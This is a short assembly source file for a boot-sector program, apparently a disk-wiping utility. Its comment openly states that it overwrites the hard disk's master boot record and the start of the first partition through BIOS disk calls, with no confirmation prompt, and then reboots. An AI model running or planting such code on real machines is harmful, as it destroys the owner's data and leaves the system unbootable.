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!
! This program destroys the MBR and the start of the first partition of
! the hard disk. IT DOES NOT HAVE AN 'ARE YOU SURE?'
!
org $7c00
include sysboot.s
org dos_sysid
.ascii "DEATH" ! System ID
org codestart
cld
xor ax,ax
mov es,ax
mov ds,ax
mov ss,ax
mov sp,ax
mov di,#$8000
mov cx,#$0400
rep
stosw ! Zap a space.
mov dx,#$0080
mov cx,#$0001
mov bx,#$8000
mov ax,#$0301
int $13 ! Zap the MBR
mov dx,#$0180
mov cx,#$0001
mov bx,#$8000
mov ax,#$0304
int $13 ! Zap the first partition boot and super.
xor ax,ax ! Wait for key
int $16
jmpi $0,$FFFF ! Reboot
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